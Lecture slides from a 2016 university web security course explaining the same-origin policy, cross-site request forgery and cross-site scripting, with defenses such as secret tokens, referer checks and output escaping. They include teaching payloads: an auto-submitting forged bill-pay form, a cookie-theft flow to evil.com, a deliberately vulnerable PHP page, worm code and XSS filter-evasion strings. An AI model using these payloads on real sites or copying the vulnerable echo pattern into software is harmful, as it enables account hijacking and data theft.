CSRF and XSS attacks

Fall 2016

Ada (Adam) Lerner
lerner@cs.washington.edu

Thanks to Franzi Roesner, Dan Boneh, Dieter Gollmann, Dan Halperin, Yoshi Kohno, John Manferdelli, John Mitchell, Vitaly Shmatikov, Bennet Yee, and many others for sample slides and materials ...
The browser renders or executes arbitrary HTML, CSS, and Javascript send by hosts on the Internet.
Where Does the Attacker Live?

Browser

Malware attacker

Network attacker

website

Web attacker

request
All of These Should Be Safe

• Safe to visit an evil website

• Safe to visit two pages at the same time

• Safe delegation
Two Sides of Web Security

• Web browser
  – Responsible for securely confining Web content presented by visited websites

• Web applications
  – Online merchants, banks, blogs, Google Apps …
  – Mix of server-side and client-side code
    • Server-side code written in PHP, Ruby, ASP, JSP… runs on the Web server
    • Client-side code written in JavaScript… runs in the Web browser
  – Many potential bugs: XSS, XSRF, SQL injection
Javascript, or, Software Security for the Web!

```html
<html>
  ...
  <p> The script on this page is totally trustworthy 
  <script>
    doSomethingEvil();
  </script>
  ...
</html>
```

Browser receives content, displays HTML and executes scripts

A potentially malicious webpage gets to execute some code on user’s machine!

11/7/16
A Strawpersion Attack

www.attacker.com

www.bank.com
(e.g.,
balance: $500)

www.attacker.com (the parent) cannot access HTML elements in the iframe (and vice versa).
Same-Origin Policy: DOM

Only code from same origin can access HTML elements on another site (or in an iframe).

www.example.com

www.example.com (the parent) **can** access HTML elements in the iframe (and vice versa).

www.example.com/iframe.html

www.evil.com

www.evil.com (the parent) **cannot** access HTML elements in the iframe (and vice versa).

www.example.com/iframe.html

11/7/16
DOM: Document Object Model

- Hierarchical interface (e.g., to Javascript) to the elements of a webpage

```html
<html>
  <meta>
  <body>
    <div>
      <img>
      <iframe>
        ...
```
DOM: Document Object Model

HTML Iframes

An iframe is used to display a web page within a web page.

w3schools.com
The World's Largest Web Developer Site

HTML5 Tutorial

Previous

Next
Same-Origin Policy

Website origin = (scheme, domain, port)

<table>
<thead>
<tr>
<th>Compared URL</th>
<th>Outcome</th>
<th>Reason</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.example.com/dir/page.html">http://www.example.com/dir/page.html</a></td>
<td>Success</td>
<td>Same protocol and host</td>
</tr>
<tr>
<td><a href="http://www.example.com/dir2/other.html">http://www.example.com/dir2/other.html</a></td>
<td>Success</td>
<td>Same protocol and host</td>
</tr>
<tr>
<td><a href="http://www.example.com:81/dir/other.html">http://www.example.com:81/dir/other.html</a></td>
<td>Failure</td>
<td>Same protocol and host but different port</td>
</tr>
<tr>
<td><a href="https://www.example.com/dir/other.html">https://www.example.com/dir/other.html</a></td>
<td>Failure</td>
<td>Different protocol</td>
</tr>
<tr>
<td><a href="http://en.example.com/dir/other.html">http://en.example.com/dir/other.html</a></td>
<td>Failure</td>
<td>Different host</td>
</tr>
<tr>
<td><a href="http://example.com/dir/other.html">http://example.com/dir/other.html</a></td>
<td>Failure</td>
<td>Different host (exact match required)</td>
</tr>
<tr>
<td><a href="http://v2.www.example.com/dir/other.html">http://v2.www.example.com/dir/other.html</a></td>
<td>Failure</td>
<td>Different host (exact match required)</td>
</tr>
</tbody>
</table>

[Example thanks to Wikipedia.]
Cross-Origin Communication?

• Websites can embed scripts, images, etc. from other origins.
• For example, on example.com…
  `<img src="imgur.com/cat.png">`
  `<script src="jquery.com/jquery.js">`
Cross-Origin Communication?

- Websites can embed scripts, images, etc. from other origins.
- **But:** AJAX requests (aka XMLHttpRequests) are not allowed across origins.

On example.com:

```html
<script>
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = handleStateChange; // Elsewhere
xhr.open("GET", "https://bank.com/account_info", true);
xhr.send();
</script>
```
AJAX requests

• Requests made in Javascript dynamically for data (e.g., to get new emails in a webmail clients)

```javascript
var image = get(
    http://www.imgur.com/cat.jpg
)
```
Cross-Origin Communication?

• Websites can embed scripts, images, etc. from other origins.
• **But:** AJAX requests (aka XMLHttpRequests) are not allowed across origins.

• Why not?
  • Browser automatically includes cookies with requests (i.e., user credentials are sent)
  • Caller can read returned data (clear SOP violation)
Allowing Cross-Origin Communication

• Domain relaxation
  – If two frames each set document.domain to the same value, then they can communicate
    • E.g. www.facebook.com, facebook.com, and chat.facebook.com
    • Must be a suffix of the actual domain

• Access-Control-Allow-Origin: <list of domains>
  – Specifies one or more domains that may access DOM
  – Typical usage: Access-Control-Allow-Origin: *

• HTML5 postMessage
  – Lets frames send messages to each other in controlled fashion
  – Unfortunately, many bugs in how frames check sender’s origin
What about Browser Plugins?

• **Examples:** Flash, Silverlight, Java, PDF reader
• **Goal:** enable functionality that requires transcending the browser sandbox
• **Increases browser’s attack surface**

---

Java and Flash both vulnerable—again—to new 0-day attacks

Java bug is actively exploited. Flash flaws will likely be targeted soon.

*by Dan Goodin (US) - Jul 13, 2015 9:11am PDT*

• **Good news:** plugin sandboxing improving, and need for plugins decreasing (due to HTML5 and extensions)
What about Browser Extensions?

• Most things you use today are probably extensions
• **Examples**: AdBlock, Ghostery, Mailvelope
• **Goal**: Extend the functionality of the browser

• (Chrome:) Carefully designed security model to protect from malicious websites
  – **Privilege separation**: extensions consist of multiple components with well-defined communication
  – **Least privilege**: extensions request permissions
What about Browser Extensions?

- But be wary of malicious extensions: **not subject to the same-origin policy** – can inject code into any webpage!
Web Applications

• Big trend: software as a Web-based service
  – Online banking, shopping, government, bill payment, tax prep, customer relationship management, etc.
  – Cloud computing

• Applications hosted on Web servers
  – Written in a mixture of PHP, Ruby, Java, Perl, ASP

• Security is rarely the main concern
  – Poorly written scripts with inadequate input validation
  – Sensitive data stored in world-readable files
Dynamic Web Application

Browser

GET / HTTP/1.1

HTTP/1.1 200 OK

Web server

index.php

Database server

11/7/16
OWASP Top 10 Web Vulnerabilities

1. Injection
2. Broken Authentication & Session Management
3. Cross-Site Scripting
4. Insecure Direct Object References
5. Security Misconfiguration
6. Sensitive Data Exposure
7. Missing Function Level Access Control
8. Cross-Site Request Forgery
9. Using Known Vulnerable Components
10. Unvalidated Redirects and Forwards
Cross-Site Request Forgery (CSRF/XSRF)
“Confused Deputy”

• The browser is deputized to act as Alice – it sends Alice’s cookies with her requests to bank.com

• Attackers can cause the browser to make malicious requests to bank.com, which it will perform automatically using Alice’s cookies!
Cookie-Based Authentication Redux

POST/login.cgi

Set-cookie: authenticator

GET...
Cookie: authenticator

response
Browser Sandbox Redux

• Based on the same origin policy (SOP)
• Active content (scripts) can send anywhere!
  – For example, can submit a POST request
  – Some ports inaccessible -- e.g., SMTP (email)
• Can only read response from the same origin
  – ... but you can do a lot with just sending!
Cross-Site Request Forgery

• Users logs into bank.com, forgets to sign off
  – Session cookie remains in browser state

• User then visits a malicious website containing
  
  `<form name=BillPayForm
  action=http://bank.com/BillPay.php>
  <input name=recipient value=badguy> ...
  
  `<script> document.BillPayForm.submit(); </script>`

• Browser sends cookie, payment request fulfilled!

• **Lesson**: cookie authentication is not sufficient when side effects can happen
Cookies in Forged Requests

User credentials automatically sent by browser
Sending a Cross-Domain POST

```html
<form method="POST" action=http://othersite.com/action >
...
</form>
<script>document.forms[0].submit()</script>
```

- Hidden iframe can do this in the background
- User visits a malicious page, browser submits form on behalf of the user
  - Hijack any ongoing session (if no protection)
    - Netflix: change account settings, Gmail: steal contacts, Amazon: one-click purchase
  - Reprogram the user’s home router
  - Many other attacks possible
XSRF (aka CSRF): Summary

1. establish session
2. visit server
3. receive malicious page
4. send forged request

Q: how long do you stay logged on to Gmail? Financial sites?
CSRF True Story [Alex Stamos]

Hidden iframes submitted forms that...
- Changed user’s email notification settings
- Linked a new checking account
- Transferred out $5,000
- Unlinked the account
- Restored email notifications

Internet Explorer

GET news.html

HTML and JS

HTML Form POSTs

StockBroker.com

CyberVillians.com
Broader View of CSRF

• Abuse of cross-site data export
  – SOP does not control data export
  – Malicious webpage can initiates requests from the user’s browser to an honest server
  – Server thinks requests are part of the established session between the browser and the server (automatically sends cookies)
Login CSRF: Attacker logs you in as them!

User logged in as attacker

Attacker’s account reflects user’s behavior
CSRF Defenses
CSRF Defenses

• Secret validation token

```html
<input type=hidden value=23a3af01b>
```

• Referer validation

Referer:
http://www.facebook.com/home.php
Add Secret Token to Forms

• “Synchronizer Token Pattern”
• Include a secret challenge token as a hidden input in forms
  – Token often based on user’s session ID
  – Server must verify correctness of token before executing sensitive operations
• Why does this work?
  – Same-origin policy: attacker can’t read token out of legitimate forms loaded in user’s browser, so can’t create fake forms with correct token
Referer Validation

- **Lenient** referer checking – header is optional
- **Strict** referer checking – header is required

For your security, never enter your Facebook password on sites not located on Facebook.com.

Facebook Login

Referer:
http://www.facebook.com/home.php

Referer:
http://www.evil.com/attack.html

Referer:
Why Not Always Strict Checking?

• Why might the referer header be suppressed?
  – Stripped by the organization’s network filter
    • For example, http://intranet.corp.apple.com/projects/iphone/competitors.html
  – Stripped by the local machine
  – Stripped by the browser for HTTPS → HTTP transitions
  – User preference in browser
  – Buggy browser

• Web applications can’t afford to block these users
• Referer rarely suppressed over HTTPS
  – Logins typically use HTTPS – helps against login XSRF!
Cross-Site Scripting
(XSS)
XSS

• I have a friend with a really hard to pronounce name.

XSS

• XSS is about the problems that arise when you have a name that happens to be a URL.
PHP: Hypertext Processor

• Server scripting language with C-like syntax
PHP: Hypertext Processor

• Can intermingle static HTML and code

<input value= '<?php echo $myvalue; ?>'>>
PHP: Hypertext Processor

• Can intermingle static HTML and code
  
  ```html
  <input value='<?=php echo $myvalue; ?>'>
  ```

• Can embed variables in double-quote strings
  
  ```php
  $user = “world”; echo “Hello $user!”;
  or $user = “world”; echo “Hello”. $user . “!”; 
  ```
PHP: Hypertext Processor

• Can intermingle static HTML and code

```html
<input value=<?php echo $myvalue; ?>>
```

• Can embed variables in double-quote strings

```php
$user = "world"; echo "Hello $user!";
```

or

```php
$user = "world"; echo "Hello" . $user . "!";
```

• Form data in global arrays $_GET, $_POST, ...

11/7/16
CSE 484 / CSE M 584 - Fall 2016
Echoing / “Reflecting” User Input

Classic mistake in server-side applications

http://naive.com/search.php?term="Justin Bieber"

search.php responds with
<html> <title>Search results</title> <body>You have searched for <?php echo $_GET['term'] ?>... </body>

Or

GET/ hello.cgi?name=Bob
hello.cgi responds with
<html>Welcome, dear Bob</html>
Echoing / “Reflecting” User Input

naive.com/hello.cgi?
name=Bob

Welcome, dear Bob

Welcome, dear

Cross-Site Scripting (XSS)

Access some web page


forces victim's browser to call hello.cgi on naive.com with this script as "name"

GET/steal.cgi?cookie=

Interpreted as JavaScript by victim's browser; opens window and calls steal.cgi on evil.com

Forces victim's browser to call hello.cgi on naive.com with this script as "name"

GET/steal.cgi?cookie=

Interpreted as JavaScript by victim's browser; opens window and calls steal.cgi on evil.com


evil.com

naive.com

victim's browser

hello.cgi

hello.cgi executed
XSS – Quick Demo

```php
<?php
setcookie("SECRET_COOKIE", "12345");
header("X-XSS-Protection: 0");
?>
<html><body><br><br>
<form action="vulnerable.php" method="get">
Name: <input type="text" name="name" size="80">
<input type="submit" value="submit"></form>
<br><br><br>
<div id="greeting">
<?php
$name = $_GET['name'];
if($name) { echo "Welcome " . $_GET['name'];}
?>
</div></body></html>
```

Need to explicitly disable XSS protection – newer browsers try to help web developers avoid these vulnerabilities!
Reflected XSS

• User is tricked into visiting an honest website
  – Phishing email, link in a banner ad, comment in a blog
• Bug in website code causes it to echo to the user’s browser an arbitrary attack script
  – The origin of this script is now the website itself!
• Script can manipulate website contents (DOM) to show bogus information, request sensitive data, control form fields on this page and linked pages, cause user’s browser to attack other websites
  – This violates the “spirit” of the same origin policy
Basic Pattern for Reflected XSS

1. visit web site
2. receive malicious page
3. click on link
4. echo user input
5. send valuable data

User victim

Attack server

Server victim
Where Malicious Scripts Lurk

• User-created content
  – Social sites, blogs, forums, wikis

• When visitor loads the page, website displays the content and visitor’s browser executes the script
  – Many sites try to filter out scripts from user content, but this is difficult!
Stored XSS

1. Inject malicious script
   Attack server

2. request content
   Users view or download content

3. receive malicious script
   Store bad stuff

4. steal valuable data
   Server victim
Twitter Worm (2009)

- Can save URL-encoded data into Twitter profile
- Data **not** escaped when profile is displayed
- Result: StalkDaily XSS exploit
  - If view an infected profile, script infects your own profile

```javascript
var update = urldecode("Hey everyone, join www.StalkDaily.com. It's a site like Twitter but with pictures, videos, and so much more! ");
var ajaxConn = new XHConn();
ajaxConn.connect("/status/update", "POST", "authenticity_token="+authtoken +"&status="+update+'&tab=home&update=update");
ajaxConn1.connect("/account/settings", "POST", "authenticity_token="+authtoken +"&user[url]="+xss+'&tab=home&update=update")
```

Preventing Cross-Site Scripting

• Any user input and client-side data must be preprocessed before it is used inside HTML

• Remove / encode HTML special characters
  – Use a good escaping library
    • OWASP ESAPI (Enterprise Security API)
    • Microsoft’s AntiXSS
  – In PHP, htmlspecialchars(string) will replace all special characters with their HTML codes
    • ‘ becomes &\#039; “ becomes &quot; & becomes &amp;
  – In ASP.NET, Server.HtmlEncode(string)
Evading XSS Filters

• Preventing injection of scripts into HTML is hard!
  – Blocking “<” and “>” is not enough
  – Event handlers, stylesheets, encoded inputs (%3C), etc.
  – phpBB allowed simple HTML tags like <b>
    
    \[\texttt{<b c=""> onmouseover="script" x="<b">Hello<b>}\]

• Beware of filter evasion tricks (XSS Cheat Sheet)
  – If filter allows quoting (of <script>, etc.), beware of
    malformed quoting:  \[\texttt{<IMG ""><SCRIPT>alert("XSS")</SCRIPT>}\]
  – Long UTF-8 encoding
  – Scripts are not only in <script>:
    
    \[\texttt{<iframe src='https://bank.com/login’ onload=‘steal()’}\]
MySpace Worm (1)

- Users can post HTML on their MySpace pages
- MySpace does not allow scripts in users’ HTML
  - No `<script>`, `<body>`, `onclick`, `<a href=javascript://>`
- ... but does allow `<div>` tags for CSS.
  - `<div style="background:url( ‘javascript:alert(1)’ )">`
- But MySpace will strip out “javascript”
  - Use “java<br>script” instead
- But MySpace will strip out quotes
  - Convert from decimal instead:
    - `alert('double quote: ' + String.fromCharCode(34))`
MySpace Worm (3)

• “There were a few other complications and things to get around. This was not by any means a straight forward process, and none of this was meant to cause any damage or piss anyone off. This was in the interest of..interest. It was interesting and fun!”

• Started on “samy” MySpace page

• Everybody who visits an infected page, becomes infected and adds “samy” as a friend and hero

• 5 hours later “samy” has 1,005,831 friends
  – Was adding 1,000 friends per second at its peak

http://namb.la/popular/tech.html